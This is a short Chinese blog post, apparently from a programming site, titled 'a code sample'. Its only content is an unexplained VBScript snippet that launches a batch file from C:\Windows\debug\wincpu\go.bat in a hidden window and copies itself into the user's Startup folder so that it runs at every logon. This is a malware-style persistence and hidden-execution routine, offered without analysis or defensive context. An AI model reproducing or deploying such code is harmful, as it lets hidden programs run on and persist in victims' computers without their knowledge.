一段代码样本

最新推荐文章于 2022-05-03 07:08:34 发布

joyhen

最新推荐文章于 2022-05-03 07:08:34 发布

阅读量852

点赞数

CC 4.0 BY-SA版权

分类专栏： VB Shell

本文链接：https://blog.youkuaiyun.com/Joyhen/article/details/77505163

VB 同时被 2 个专栏收录

1 篇文章

订阅专栏

Shell

1 篇文章

订阅专栏

set objShell=wscript.createObject("wscript.shell")
iReturn=objShell.Run("cmd.exe /C C:\Windows\debug\wincpu\go.bat", 0, TRUE)
set wshshell=createobject("wscript.shell") 
flr=wshshell.specialfolders("desktop")
Set WshShell = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
startup = WshShell.SpecialFolders("startup")
vbs = startup & "\" & WScript.ScriptName
If not fso.FileExists(vbs) Then
fso.CopyFile WScript.ScriptFullName,vbs
DIM objShell
End If